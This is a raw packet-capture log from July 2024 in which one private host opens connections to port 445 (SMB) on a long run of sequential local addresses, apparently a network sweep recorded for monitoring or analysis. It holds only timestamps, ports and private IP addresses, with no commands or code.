Jul 6, 2024 14:11:24.149133921 CEST	50243	445	192.168.2.6	192.168.1.50
Jul 6, 2024 14:11:24.149456024 CEST	445	50238	192.168.0.174	192.168.2.6
Jul 6, 2024 14:11:24.153403044 CEST	445	50237	192.168.1.47	192.168.2.6
Jul 6, 2024 14:11:24.153829098 CEST	445	50242	192.168.0.176	192.168.2.6
Jul 6, 2024 14:11:24.155160904 CEST	445	50243	192.168.1.50	192.168.2.6
Jul 6, 2024 14:11:24.155232906 CEST	50243	445	192.168.2.6	192.168.1.50
Jul 6, 2024 14:11:24.155319929 CEST	50243	445	192.168.2.6	192.168.1.50
Jul 6, 2024 14:11:24.157476902 CEST	50242	445	192.168.2.6	192.168.0.176
Jul 6, 2024 14:11:24.157476902 CEST	50242	445	192.168.2.6	192.168.0.176
Jul 6, 2024 14:11:24.161043882 CEST	445	50243	192.168.1.50	192.168.2.6
Jul 6, 2024 14:11:24.161097050 CEST	50243	445	192.168.2.6	192.168.1.50
Jul 6, 2024 14:11:24.162868977 CEST	445	50242	192.168.0.176	192.168.2.6
Jul 6, 2024 14:11:24.163120031 CEST	50245	445	192.168.2.6	192.168.0.177
Jul 6, 2024 14:11:24.163562059 CEST	50246	445	192.168.2.6	192.168.1.51
Jul 6, 2024 14:11:24.164498091 CEST	445	50240	192.168.0.175	192.168.2.6
Jul 6, 2024 14:11:24.164649963 CEST	50237	445	192.168.2.6	192.168.1.47
Jul 6, 2024 14:11:24.164805889 CEST	445	50240	192.168.0.175	192.168.2.6
Jul 6, 2024 14:11:24.168648005 CEST	445	50245	192.168.0.177	192.168.2.6
Jul 6, 2024 14:11:24.168670893 CEST	50244	445	192.168.2.6	192.168.0.178
Jul 6, 2024 14:11:24.168716908 CEST	50245	445	192.168.2.6	192.168.0.177
Jul 6, 2024 14:11:24.168797970 CEST	50245	445	192.168.2.6	192.168.0.177
Jul 6, 2024 14:11:24.171324015 CEST	445	50246	192.168.1.51	192.168.2.6
Jul 6, 2024 14:11:24.171725988 CEST	50246	445	192.168.2.6	192.168.1.51
Jul 6, 2024 14:11:24.171725988 CEST	50246	445	192.168.2.6	192.168.1.51
Jul 6, 2024 14:11:24.173794985 CEST	445	50244	192.168.0.178	192.168.2.6
Jul 6, 2024 14:11:24.173988104 CEST	445	50245	192.168.0.177	192.168.2.6
Jul 6, 2024 14:11:24.174299002 CEST	445	50245	192.168.0.177	192.168.2.6
Jul 6, 2024 14:11:24.176640034 CEST	445	50246	192.168.1.51	192.168.2.6
Jul 6, 2024 14:11:24.178770065 CEST	50247	445	192.168.2.6	192.168.0.179
Jul 6, 2024 14:11:24.178955078 CEST	50248	445	192.168.2.6	192.168.1.52
Jul 6, 2024 14:11:24.179138899 CEST	50246	445	192.168.2.6	192.168.1.51
Jul 6, 2024 14:11:24.181776047 CEST	50244	445	192.168.2.6	192.168.0.178
Jul 6, 2024 14:11:24.181776047 CEST	50244	445	192.168.2.6	192.168.0.178
Jul 6, 2024 14:11:24.183587074 CEST	445	50247	192.168.0.179	192.168.2.6
Jul 6, 2024 14:11:24.183650017 CEST	50247	445	192.168.2.6	192.168.0.179
Jul 6, 2024 14:11:24.183692932 CEST	50247	445	192.168.2.6	192.168.0.179
Jul 6, 2024 14:11:24.183916092 CEST	445	50248	192.168.1.52	192.168.2.6
Jul 6, 2024 14:11:24.183974981 CEST	50248	445	192.168.2.6	192.168.1.52
Jul 6, 2024 14:11:24.184066057 CEST	50248	445	192.168.2.6	192.168.1.52
Jul 6, 2024 14:11:24.188410997 CEST	445	50247	192.168.0.179	192.168.2.6
Jul 6, 2024 14:11:24.189393044 CEST	445	50247	192.168.0.179	192.168.2.6
Jul 6, 2024 14:11:24.190500021 CEST	445	50248	192.168.1.52	192.168.2.6
Jul 6, 2024 14:11:24.190566063 CEST	50248	445	192.168.2.6	192.168.1.52
Jul 6, 2024 14:11:24.192003965 CEST	445	50244	192.168.0.178	192.168.2.6
Jul 6, 2024 14:11:24.194808960 CEST	50250	445	192.168.2.6	192.168.1.53
Jul 6, 2024 14:11:24.200000048 CEST	445	50250	192.168.1.53	192.168.2.6
Jul 6, 2024 14:11:24.200067043 CEST	50250	445	192.168.2.6	192.168.1.53
Jul 6, 2024 14:11:24.200159073 CEST	50250	445	192.168.2.6	192.168.1.53
Jul 6, 2024 14:11:24.205043077 CEST	445	50250	192.168.1.53	192.168.2.6
Jul 6, 2024 14:11:24.205231905 CEST	445	50250	192.168.1.53	192.168.2.6
Jul 6, 2024 14:11:24.206121922 CEST	50249	445	192.168.2.6	192.168.0.180
Jul 6, 2024 14:11:24.206566095 CEST	50250	445	192.168.2.6	192.168.1.53
Jul 6, 2024 14:11:24.210123062 CEST	50252	445	192.168.2.6	192.168.1.54
Jul 6, 2024 14:11:24.210913897 CEST	445	50249	192.168.0.180	192.168.2.6
Jul 6, 2024 14:11:24.215117931 CEST	445	50252	192.168.1.54	192.168.2.6
Jul 6, 2024 14:11:24.216409922 CEST	50252	445	192.168.2.6	192.168.1.54
Jul 6, 2024 14:11:24.216411114 CEST	50252	445	192.168.2.6	192.168.1.54
Jul 6, 2024 14:11:24.220300913 CEST	50251	445	192.168.2.6	192.168.0.181
Jul 6, 2024 14:11:24.220300913 CEST	50249	445	192.168.2.6	192.168.0.180
Jul 6, 2024 14:11:24.220300913 CEST	50249	445	192.168.2.6	192.168.0.180
Jul 6, 2024 14:11:24.221678972 CEST	445	50252	192.168.1.54	192.168.2.6
Jul 6, 2024 14:11:24.223095894 CEST	50252	445	192.168.2.6	192.168.1.54
Jul 6, 2024 14:11:24.226021051 CEST	50253	445	192.168.2.6	192.168.1.55
Jul 6, 2024 14:11:24.231756926 CEST	445	50253	192.168.1.55	192.168.2.6
Jul 6, 2024 14:11:24.232705116 CEST	445	50251	192.168.0.181	192.168.2.6
Jul 6, 2024 14:11:24.233700991 CEST	445	50249	192.168.0.180	192.168.2.6
Jul 6, 2024 14:11:24.233710051 CEST	445	50249	192.168.0.180	192.168.2.6
Jul 6, 2024 14:11:24.234111071 CEST	50253	445	192.168.2.6	192.168.1.55
Jul 6, 2024 14:11:24.234111071 CEST	50253	445	192.168.2.6	192.168.1.55
Jul 6, 2024 14:11:24.237126112 CEST	50251	445	192.168.2.6	192.168.0.181
Jul 6, 2024 14:11:24.237126112 CEST	50251	445	192.168.2.6	192.168.0.181
Jul 6, 2024 14:11:24.241260052 CEST	445	50253	192.168.1.55	192.168.2.6
Jul 6, 2024 14:11:24.241276979 CEST	50254	445	192.168.2.6	192.168.0.182
Jul 6, 2024 14:11:24.241328955 CEST	50253	445	192.168.2.6	192.168.1.55
Jul 6, 2024 14:11:24.243918896 CEST	445	50251	192.168.0.181	192.168.2.6
Jul 6, 2024 14:11:24.244169950 CEST	445	50251	192.168.0.181	192.168.2.6
Jul 6, 2024 14:11:24.247281075 CEST	445	50254	192.168.0.182	192.168.2.6
Jul 6, 2024 14:11:24.252509117 CEST	50254	445	192.168.2.6	192.168.0.182
Jul 6, 2024 14:11:24.253016949 CEST	50254	445	192.168.2.6	192.168.0.182
Jul 6, 2024 14:11:24.255809069 CEST	50255	445	192.168.2.6	192.168.1.56
Jul 6, 2024 14:11:24.257987022 CEST	445	50254	192.168.0.182	192.168.2.6
Jul 6, 2024 14:11:24.258055925 CEST	50258	445	192.168.2.6	192.168.1.57
Jul 6, 2024 14:11:24.258297920 CEST	50257	445	192.168.2.6	192.168.0.183
Jul 6, 2024 14:11:24.258471012 CEST	445	50254	192.168.0.182	192.168.2.6
Jul 6, 2024 14:11:24.263474941 CEST	445	50257	192.168.0.183	192.168.2.6
Jul 6, 2024 14:11:24.263494015 CEST	445	50258	192.168.1.57	192.168.2.6
Jul 6, 2024 14:11:24.263544083 CEST	50257	445	192.168.2.6	192.168.0.183
Jul 6, 2024 14:11:24.263601065 CEST	50258	445	192.168.2.6	192.168.1.57
Jul 6, 2024 14:11:24.263644934 CEST	50257	445	192.168.2.6	192.168.0.183
Jul 6, 2024 14:11:24.266861916 CEST	445	50255	192.168.1.56	192.168.2.6
Jul 6, 2024 14:11:24.267005920 CEST	50258	445	192.168.2.6	192.168.1.57
Jul 6, 2024 14:11:24.267451048 CEST	50256	445	192.168.2.6	192.168.0.184
Jul 6, 2024 14:11:24.267451048 CEST	50255	445	192.168.2.6	192.168.1.56
Jul 6, 2024 14:11:24.267451048 CEST	50255	445	192.168.2.6	192.168.1.56
Jul 6, 2024 14:11:24.269025087 CEST	445	50257	192.168.0.183	192.168.2.6
Jul 6, 2024 14:11:24.269260883 CEST	445	50257	192.168.0.183	192.168.2.6
Jul 6, 2024 14:11:24.272618055 CEST	445	50258	192.168.1.57	192.168.2.6
Jul 6, 2024 14:11:24.272628069 CEST	445	50256	192.168.0.184	192.168.2.6
Jul 6, 2024 14:11:24.275363922 CEST	50258	445	192.168.2.6	192.168.1.57
Jul 6, 2024 14:11:24.276415110 CEST	50256	445	192.168.2.6	192.168.0.184
Jul 6, 2024 14:11:24.276415110 CEST	50256	445	192.168.2.6	192.168.0.184
Jul 6, 2024 14:11:24.277591944 CEST	445	50255	192.168.1.56	192.168.2.6
Jul 6, 2024 14:11:24.279205084 CEST	50255	445	192.168.2.6	192.168.1.56
Jul 6, 2024 14:11:24.280376911 CEST	50259	445	192.168.2.6	192.168.1.58
Jul 6, 2024 14:11:24.281385899 CEST	445	50256	192.168.0.184	192.168.2.6
Jul 6, 2024 14:11:24.281394958 CEST	445	50256	192.168.0.184	192.168.2.6
Jul 6, 2024 14:11:24.285759926 CEST	445	50259	192.168.1.58	192.168.2.6
Jul 6, 2024 14:11:24.285885096 CEST	50259	445	192.168.2.6	192.168.1.58
Jul 6, 2024 14:11:24.285978079 CEST	50259	445	192.168.2.6	192.168.1.58
Jul 6, 2024 14:11:24.288286924 CEST	50260	445	192.168.2.6	192.168.1.59
Jul 6, 2024 14:11:24.292530060 CEST	445	50259	192.168.1.58	192.168.2.6
Jul 6, 2024 14:11:24.292576075 CEST	50259	445	192.168.2.6	192.168.1.58
Jul 6, 2024 14:11:24.293334961 CEST	445	50260	192.168.1.59	192.168.2.6
Jul 6, 2024 14:11:24.293396950 CEST	50260	445	192.168.2.6	192.168.1.59
Jul 6, 2024 14:11:24.293478966 CEST	50260	445	192.168.2.6	192.168.1.59
Jul 6, 2024 14:11:24.298655987 CEST	445	50260	192.168.1.59	192.168.2.6
Jul 6, 2024 14:11:24.299228907 CEST	445	50260	192.168.1.59	192.168.2.6
Jul 6, 2024 14:11:24.299310923 CEST	50260	445	192.168.2.6	192.168.1.59
Jul 6, 2024 14:11:24.305077076 CEST	50261	445	192.168.2.6	192.168.0.185
Jul 6, 2024 14:11:24.305077076 CEST	50262	445	192.168.2.6	192.168.0.186
Jul 6, 2024 14:11:24.305077076 CEST	50263	445	192.168.2.6	192.168.1.60
Jul 6, 2024 14:11:24.310693979 CEST	445	50261	192.168.0.185	192.168.2.6
Jul 6, 2024 14:11:24.310702085 CEST	445	50262	192.168.0.186	192.168.2.6
Jul 6, 2024 14:11:24.310709953 CEST	445	50263	192.168.1.60	192.168.2.6
Jul 6, 2024 14:11:24.310784101 CEST	50261	445	192.168.2.6	192.168.0.185
Jul 6, 2024 14:11:24.310784101 CEST	50262	445	192.168.2.6	192.168.0.186
Jul 6, 2024 14:11:24.310784101 CEST	50263	445	192.168.2.6	192.168.1.60
Jul 6, 2024 14:11:24.310806990 CEST	50261	445	192.168.2.6	192.168.0.185
Jul 6, 2024 14:11:24.310856104 CEST	50262	445	192.168.2.6	192.168.0.186
Jul 6, 2024 14:11:24.310926914 CEST	50263	445	192.168.2.6	192.168.1.60
Jul 6, 2024 14:11:24.315679073 CEST	445	50261	192.168.0.185	192.168.2.6
Jul 6, 2024 14:11:24.315721035 CEST	445	50262	192.168.0.186	192.168.2.6
Jul 6, 2024 14:11:24.315918922 CEST	445	50261	192.168.0.185	192.168.2.6
Jul 6, 2024 14:11:24.316148996 CEST	445	50262	192.168.0.186	192.168.2.6
Jul 6, 2024 14:11:24.316495895 CEST	445	50263	192.168.1.60	192.168.2.6
Jul 6, 2024 14:11:24.316572905 CEST	50263	445	192.168.2.6	192.168.1.60
Jul 6, 2024 14:11:24.319502115 CEST	50264	445	192.168.2.6	192.168.1.61
Jul 6, 2024 14:11:24.324513912 CEST	445	50264	192.168.1.61	192.168.2.6
Jul 6, 2024 14:11:24.326283932 CEST	50264	445	192.168.2.6	192.168.1.61
Jul 6, 2024 14:11:24.331468105 CEST	445	50264	192.168.1.61	192.168.2.6
Jul 6, 2024 14:11:24.332832098 CEST	50264	445	192.168.2.6	192.168.1.61
Jul 6, 2024 14:11:24.335175991 CEST	50266	445	192.168.2.6	192.168.1.62
Jul 6, 2024 14:11:24.335555077 CEST	50264	445	192.168.2.6	192.168.1.61
Jul 6, 2024 14:11:24.335555077 CEST	50265	445	192.168.2.6	192.168.0.187
Jul 6, 2024 14:11:24.340487003 CEST	445	50266	192.168.1.62	192.168.2.6
Jul 6, 2024 14:11:24.340548038 CEST	50266	445	192.168.2.6	192.168.1.62
Jul 6, 2024 14:11:24.341135025 CEST	50266	445	192.168.2.6	192.168.1.62
Jul 6, 2024 14:11:24.341850042 CEST	445	50264	192.168.1.61	192.168.2.6
Jul 6, 2024 14:11:24.341859102 CEST	445	50265	192.168.0.187	192.168.2.6
Jul 6, 2024 14:11:24.343043089 CEST	50265	445	192.168.2.6	192.168.0.187
Jul 6, 2024 14:11:24.343044043 CEST	50265	445	192.168.2.6	192.168.0.187
Jul 6, 2024 14:11:24.350581884 CEST	50267	445	192.168.2.6	192.168.0.188
Jul 6, 2024 14:11:24.350697041 CEST	50268	445	192.168.2.6	192.168.0.189
Jul 6, 2024 14:11:24.350914001 CEST	50269	445	192.168.2.6	192.168.1.63
Jul 6, 2024 14:11:24.351156950 CEST	445	50265	192.168.0.187	192.168.2.6
Jul 6, 2024 14:11:24.352401018 CEST	445	50266	192.168.1.62	192.168.2.6
Jul 6, 2024 14:11:24.352499962 CEST	50266	445	192.168.2.6	192.168.1.62
Jul 6, 2024 14:11:24.352581024 CEST	445	50265	192.168.0.187	192.168.2.6
Jul 6, 2024 14:11:24.356281996 CEST	445	50267	192.168.0.188	192.168.2.6
Jul 6, 2024 14:11:24.356292009 CEST	445	50268	192.168.0.189	192.168.2.6
Jul 6, 2024 14:11:24.356300116 CEST	445	50269	192.168.1.63	192.168.2.6
Jul 6, 2024 14:11:24.356503010 CEST	50269	445	192.168.2.6	192.168.1.63
Jul 6, 2024 14:11:24.357315063 CEST	50267	445	192.168.2.6	192.168.0.188
Jul 6, 2024 14:11:24.357315063 CEST	50268	445	192.168.2.6	192.168.0.189
Jul 6, 2024 14:11:24.357316017 CEST	50267	445	192.168.2.6	192.168.0.188
Jul 6, 2024 14:11:24.357316017 CEST	50268	445	192.168.2.6	192.168.0.189
Jul 6, 2024 14:11:24.366080046 CEST	50269	445	192.168.2.6	192.168.1.63
Jul 6, 2024 14:11:24.366276979 CEST	50271	445	192.168.2.6	192.168.0.191
Jul 6, 2024 14:11:24.366276979 CEST	50270	445	192.168.2.6	192.168.0.190
Jul 6, 2024 14:11:24.366575956 CEST	50272	445	192.168.2.6	192.168.1.64
Jul 6, 2024 14:11:24.367048025 CEST	445	50269	192.168.1.63	192.168.2.6
Jul 6, 2024 14:11:24.367085934 CEST	445	50267	192.168.0.188	192.168.2.6
Jul 6, 2024 14:11:24.367106915 CEST	50269	445	192.168.2.6	192.168.1.63
Jul 6, 2024 14:11:24.368314028 CEST	445	50268	192.168.0.189	192.168.2.6
Jul 6, 2024 14:11:24.368486881 CEST	445	50267	192.168.0.188	192.168.2.6
Jul 6, 2024 14:11:24.374227047 CEST	445	50268	192.168.0.189	192.168.2.6
Jul 6, 2024 14:11:24.381048918 CEST	445	50269	192.168.1.63	192.168.2.6
Jul 6, 2024 14:11:24.381057024 CEST	445	50271	192.168.0.191	192.168.2.6
Jul 6, 2024 14:11:24.381067991 CEST	445	50270	192.168.0.190	192.168.2.6
Jul 6, 2024 14:11:24.381081104 CEST	445	50272	192.168.1.64	192.168.2.6
Jul 6, 2024 14:11:24.381160021 CEST	50271	445	192.168.2.6	192.168.0.191
Jul 6, 2024 14:11:24.381205082 CEST	50270	445	192.168.2.6	192.168.0.190
Jul 6, 2024 14:11:24.381217957 CEST	50272	445	192.168.2.6	192.168.1.64
Jul 6, 2024 14:11:24.381243944 CEST	50271	445	192.168.2.6	192.168.0.191
Jul 6, 2024 14:11:24.381298065 CEST	50270	445	192.168.2.6	192.168.0.190
Jul 6, 2024 14:11:24.381392956 CEST	50272	445	192.168.2.6	192.168.1.64
Jul 6, 2024 14:11:24.382134914 CEST	50273	445	192.168.2.6	192.168.1.65
Jul 6, 2024 14:11:24.386598110 CEST	445	50271	192.168.0.191	192.168.2.6
Jul 6, 2024 14:11:24.386606932 CEST	445	50270	192.168.0.190	192.168.2.6
Jul 6, 2024 14:11:24.387463093 CEST	445	50271	192.168.0.191	192.168.2.6
Jul 6, 2024 14:11:24.388566017 CEST	445	50270	192.168.0.190	192.168.2.6
Jul 6, 2024 14:11:24.388756037 CEST	445	50273	192.168.1.65	192.168.2.6
Jul 6, 2024 14:11:24.389380932 CEST	445	50272	192.168.1.64	192.168.2.6
Jul 6, 2024 14:11:24.394488096 CEST	50273	445	192.168.2.6	192.168.1.65
Jul 6, 2024 14:11:24.394488096 CEST	50272	445	192.168.2.6	192.168.1.64
Jul 6, 2024 14:11:24.397336006 CEST	50273	445	192.168.2.6	192.168.1.65
Jul 6, 2024 14:11:24.397727966 CEST	50276	445	192.168.2.6	192.168.1.66
Jul 6, 2024 14:11:24.398406982 CEST	50274	445	192.168.2.6	192.168.0.192
Jul 6, 2024 14:11:24.398406982 CEST	50275	445	192.168.2.6	192.168.0.193
Jul 6, 2024 14:11:24.404778004 CEST	445	50276	192.168.1.66	192.168.2.6
Jul 6, 2024 14:11:24.407512903 CEST	50276	445	192.168.2.6	192.168.1.66
Jul 6, 2024 14:11:24.407610893 CEST	50276	445	192.168.2.6	192.168.1.66
Jul 6, 2024 14:11:24.409044981 CEST	445	50274	192.168.0.192	192.168.2.6
Jul 6, 2024 14:11:24.409055948 CEST	445	50275	192.168.0.193	192.168.2.6
Jul 6, 2024 14:11:24.409141064 CEST	50274	445	192.168.2.6	192.168.0.192
Jul 6, 2024 14:11:24.409187078 CEST	50275	445	192.168.2.6	192.168.0.193
Jul 6, 2024 14:11:24.409187078 CEST	50275	445	192.168.2.6	192.168.0.193
Jul 6, 2024 14:11:24.413301945 CEST	50277	445	192.168.2.6	192.168.1.67
Jul 6, 2024 14:11:24.425520897 CEST	445	50273	192.168.1.65	192.168.2.6
Jul 6, 2024 14:11:24.425581932 CEST	50273	445	192.168.2.6	192.168.1.65
Jul 6, 2024 14:11:24.426577091 CEST	445	50275	192.168.0.193	192.168.2.6
Jul 6, 2024 14:11:24.426597118 CEST	445	50277	192.168.1.67	192.168.2.6
Jul 6, 2024 14:11:24.426628113 CEST	50275	445	192.168.2.6	192.168.0.193
Jul 6, 2024 14:11:24.426670074 CEST	50277	445	192.168.2.6	192.168.1.67
Jul 6, 2024 14:11:24.430902004 CEST	50278	445	192.168.2.6	192.168.0.194
Jul 6, 2024 14:11:24.430902004 CEST	50279	445	192.168.2.6	192.168.0.195
Jul 6, 2024 14:11:24.430902004 CEST	50280	445	192.168.2.6	192.168.1.68
Jul 6, 2024 14:11:24.431540012 CEST	50277	445	192.168.2.6	192.168.1.67
Jul 6, 2024 14:11:24.439441919 CEST	445	50276	192.168.1.66	192.168.2.6
Jul 6, 2024 14:11:24.439624071 CEST	445	50274	192.168.0.192	192.168.2.6
Jul 6, 2024 14:11:24.439632893 CEST	445	50275	192.168.0.193	192.168.2.6
Jul 6, 2024 14:11:24.439702988 CEST	50274	445	192.168.2.6	192.168.0.192
Jul 6, 2024 14:11:24.439762115 CEST	50276	445	192.168.2.6	192.168.1.66
Jul 6, 2024 14:11:24.440612078 CEST	445	50275	192.168.0.193	192.168.2.6
Jul 6, 2024 14:11:24.440640926 CEST	445	50278	192.168.0.194	192.168.2.6
Jul 6, 2024 14:11:24.440711021 CEST	50278	445	192.168.2.6	192.168.0.194
Jul 6, 2024 14:11:24.440799952 CEST	50278	445	192.168.2.6	192.168.0.194
Jul 6, 2024 14:11:24.441066980 CEST	445	50279	192.168.0.195	192.168.2.6
Jul 6, 2024 14:11:24.441076040 CEST	445	50280	192.168.1.68	192.168.2.6
Jul 6, 2024 14:11:24.441133976 CEST	50280	445	192.168.2.6	192.168.1.68
Jul 6, 2024 14:11:24.441133976 CEST	50279	445	192.168.2.6	192.168.0.195
Jul 6, 2024 14:11:24.441196918 CEST	50279	445	192.168.2.6	192.168.0.195
Jul 6, 2024 14:11:24.441273928 CEST	50280	445	192.168.2.6	192.168.1.68
Jul 6, 2024 14:11:24.443025112 CEST	445	50277	192.168.1.67	192.168.2.6
Jul 6, 2024 14:11:24.443383932 CEST	445	50277	192.168.1.67	192.168.2.6
Jul 6, 2024 14:11:24.443434954 CEST	50277	445	192.168.2.6	192.168.1.67
Jul 6, 2024 14:11:24.444502115 CEST	50281	445	192.168.2.6	192.168.1.69
Jul 6, 2024 14:11:24.446450949 CEST	445	50278	192.168.0.194	192.168.2.6
Jul 6, 2024 14:11:24.446974039 CEST	445	50278	192.168.0.194	192.168.2.6
Jul 6, 2024 14:11:24.447329044 CEST	445	50279	192.168.0.195	192.168.2.6
Jul 6, 2024 14:11:24.447391033 CEST	445	50280	192.168.1.68	192.168.2.6
Jul 6, 2024 14:11:24.447504997 CEST	50280	445	192.168.2.6	192.168.1.68
Jul 6, 2024 14:11:24.447820902 CEST	445	50279	192.168.0.195	192.168.2.6
Jul 6, 2024 14:11:24.450321913 CEST	445	50281	192.168.1.69	192.168.2.6
Jul 6, 2024 14:11:24.450886011 CEST	50281	445	192.168.2.6	192.168.1.69
Jul 6, 2024 14:11:24.450985909 CEST	50281	445	192.168.2.6	192.168.1.69
Jul 6, 2024 14:11:24.456553936 CEST	445	50281	192.168.1.69	192.168.2.6
Jul 6, 2024 14:11:24.456615925 CEST	50281	445	192.168.2.6	192.168.1.69
Jul 6, 2024 14:11:24.460216045 CEST	50284	445	192.168.2.6	192.168.1.70
Jul 6, 2024 14:11:24.461858034 CEST	50282	445	192.168.2.6	192.168.0.196
Jul 6, 2024 14:11:24.461858034 CEST	50283	445	192.168.2.6	192.168.0.197
Jul 6, 2024 14:11:24.466803074 CEST	445	50284	192.168.1.70	192.168.2.6
Jul 6, 2024 14:11:24.466871023 CEST	50284	445	192.168.2.6	192.168.1.70
Jul 6, 2024 14:11:24.466973066 CEST	50284	445	192.168.2.6	192.168.1.70
Jul 6, 2024 14:11:24.475680113 CEST	50285	445	192.168.2.6	192.168.1.71
Jul 6, 2024 14:11:24.487417936 CEST	445	50284	192.168.1.70	192.168.2.6
Jul 6, 2024 14:11:24.487426043 CEST	445	50284	192.168.1.70	192.168.2.6
Jul 6, 2024 14:11:24.487963915 CEST	445	50282	192.168.0.196	192.168.2.6
Jul 6, 2024 14:11:24.487973928 CEST	445	50283	192.168.0.197	192.168.2.6
Jul 6, 2024 14:11:24.488032103 CEST	50282	445	192.168.2.6	192.168.0.196
Jul 6, 2024 14:11:24.488032103 CEST	50283	445	192.168.2.6	192.168.0.197
Jul 6, 2024 14:11:24.491352081 CEST	50282	445	192.168.2.6	192.168.0.196
Jul 6, 2024 14:11:24.491352081 CEST	50283	445	192.168.2.6	192.168.0.197
Jul 6, 2024 14:11:24.491353035 CEST	50286	445	192.168.2.6	192.168.0.198
Jul 6, 2024 14:11:24.491353035 CEST	50287	445	192.168.2.6	192.168.0.199
Jul 6, 2024 14:11:24.491420984 CEST	50288	445	192.168.2.6	192.168.1.72
Jul 6, 2024 14:11:24.497389078 CEST	445	50285	192.168.1.71	192.168.2.6
Jul 6, 2024 14:11:24.497464895 CEST	50285	445	192.168.2.6	192.168.1.71
Jul 6, 2024 14:11:24.497483969 CEST	445	50282	192.168.0.196	192.168.2.6
Jul 6, 2024 14:11:24.497493029 CEST	445	50283	192.168.0.197	192.168.2.6
Jul 6, 2024 14:11:24.497510910 CEST	445	50288	192.168.1.72	192.168.2.6
Jul 6, 2024 14:11:24.497592926 CEST	445	50286	192.168.0.198	192.168.2.6
Jul 6, 2024 14:11:24.497610092 CEST	50285	445	192.168.2.6	192.168.1.71
Jul 6, 2024 14:11:24.497647047 CEST	50286	445	192.168.2.6	192.168.0.198
Jul 6, 2024 14:11:24.497684956 CEST	50286	445	192.168.2.6	192.168.0.198
Jul 6, 2024 14:11:24.497783899 CEST	50288	445	192.168.2.6	192.168.1.72
Jul 6, 2024 14:11:24.497786999 CEST	445	50287	192.168.0.199	192.168.2.6
Jul 6, 2024 14:11:24.497834921 CEST	50287	445	192.168.2.6	192.168.0.199
Jul 6, 2024 14:11:24.497864008 CEST	50287	445	192.168.2.6	192.168.0.199
Jul 6, 2024 14:11:24.500921011 CEST	445	50282	192.168.0.196	192.168.2.6
Jul 6, 2024 14:11:24.500930071 CEST	445	50283	192.168.0.197	192.168.2.6
Jul 6, 2024 14:11:24.503292084 CEST	445	50286	192.168.0.198	192.168.2.6
Jul 6, 2024 14:11:24.503300905 CEST	445	50287	192.168.0.199	192.168.2.6
Jul 6, 2024 14:11:24.503638029 CEST	445	50285	192.168.1.71	192.168.2.6
Jul 6, 2024 14:11:24.503707886 CEST	50285	445	192.168.2.6	192.168.1.71
Jul 6, 2024 14:11:24.505291939 CEST	445	50286	192.168.0.198	192.168.2.6
Jul 6, 2024 14:11:24.505305052 CEST	445	50287	192.168.0.199	192.168.2.6
Jul 6, 2024 14:11:24.506701946 CEST	50288	445	192.168.2.6	192.168.1.72
Jul 6, 2024 14:11:24.507016897 CEST	50290	445	192.168.2.6	192.168.1.73
Jul 6, 2024 14:11:24.507018089 CEST	445	50288	192.168.1.72	192.168.2.6
Jul 6, 2024 14:11:24.507572889 CEST	50288	445	192.168.2.6	192.168.1.72
Jul 6, 2024 14:11:24.508207083 CEST	50289	445	192.168.2.6	192.168.0.200
Jul 6, 2024 14:11:24.512465000 CEST	445	50288	192.168.1.72	192.168.2.6
Jul 6, 2024 14:11:24.512474060 CEST	445	50290	192.168.1.73	192.168.2.6
Jul 6, 2024 14:11:24.512572050 CEST	50290	445	192.168.2.6	192.168.1.73
Jul 6, 2024 14:11:24.512686014 CEST	50290	445	192.168.2.6	192.168.1.73
Jul 6, 2024 14:11:24.513689041 CEST	445	50289	192.168.0.200	192.168.2.6
Jul 6, 2024 14:11:24.515496969 CEST	50289	445	192.168.2.6	192.168.0.200
Jul 6, 2024 14:11:24.515496969 CEST	50289	445	192.168.2.6	192.168.0.200
Jul 6, 2024 14:11:24.519162893 CEST	445	50290	192.168.1.73	192.168.2.6
Jul 6, 2024 14:11:24.520215988 CEST	445	50290	192.168.1.73	192.168.2.6
Jul 6, 2024 14:11:24.520272017 CEST	50290	445	192.168.2.6	192.168.1.73
Jul 6, 2024 14:11:24.520544052 CEST	445	50289	192.168.0.200	192.168.2.6
Jul 6, 2024 14:11:24.522746086 CEST	50291	445	192.168.2.6	192.168.1.74
Jul 6, 2024 14:11:24.527049065 CEST	445	50289	192.168.0.200	192.168.2.6
Jul 6, 2024 14:11:24.538140059 CEST	50292	445	192.168.2.6	192.168.0.201
Jul 6, 2024 14:11:24.538142920 CEST	445	50291	192.168.1.74	192.168.2.6
Jul 6, 2024 14:11:24.538244963 CEST	50293	445	192.168.2.6	192.168.0.202
Jul 6, 2024 14:11:24.538291931 CEST	50291	445	192.168.2.6	192.168.1.74
Jul 6, 2024 14:11:24.538352013 CEST	50291	445	192.168.2.6	192.168.1.74
Jul 6, 2024 14:11:24.538633108 CEST	50294	445	192.168.2.6	192.168.1.75
Jul 6, 2024 14:11:24.548333883 CEST	445	50292	192.168.0.201	192.168.2.6
Jul 6, 2024 14:11:24.548378944 CEST	445	50293	192.168.0.202	192.168.2.6
Jul 6, 2024 14:11:24.548396111 CEST	445	50294	192.168.1.75	192.168.2.6
Jul 6, 2024 14:11:24.548422098 CEST	50292	445	192.168.2.6	192.168.0.201
Jul 6, 2024 14:11:24.548469067 CEST	50294	445	192.168.2.6	192.168.1.75
Jul 6, 2024 14:11:24.548470020 CEST	50293	445	192.168.2.6	192.168.0.202
Jul 6, 2024 14:11:24.548532009 CEST	50293	445	192.168.2.6	192.168.0.202
Jul 6, 2024 14:11:24.548573971 CEST	50292	445	192.168.2.6	192.168.0.201
Jul 6, 2024 14:11:24.551563025 CEST	445	50291	192.168.1.74	192.168.2.6
Jul 6, 2024 14:11:24.553580046 CEST	50294	445	192.168.2.6	192.168.1.75
Jul 6, 2024 14:11:24.553824902 CEST	50295	445	192.168.2.6	192.168.0.203
Jul 6, 2024 14:11:24.554008007 CEST	50296	445	192.168.2.6	192.168.1.76
Jul 6, 2024 14:11:24.554824114 CEST	445	50293	192.168.0.202	192.168.2.6
Jul 6, 2024 14:11:24.555111885 CEST	445	50292	192.168.0.201	192.168.2.6
Jul 6, 2024 14:11:24.555784941 CEST	445	50291	192.168.1.74	192.168.2.6
Jul 6, 2024 14:11:24.555839062 CEST	50291	445	192.168.2.6	192.168.1.74
Jul 6, 2024 14:11:24.563647985 CEST	445	50292	192.168.0.201	192.168.2.6
Jul 6, 2024 14:11:24.563657045 CEST	445	50294	192.168.1.75	192.168.2.6
Jul 6, 2024 14:11:24.563664913 CEST	445	50293	192.168.0.202	192.168.2.6
Jul 6, 2024 14:11:24.563709021 CEST	50294	445	192.168.2.6	192.168.1.75
Jul 6, 2024 14:11:24.564625025 CEST	445	50294	192.168.1.75	192.168.2.6
Jul 6, 2024 14:11:24.564663887 CEST	445	50295	192.168.0.203	192.168.2.6
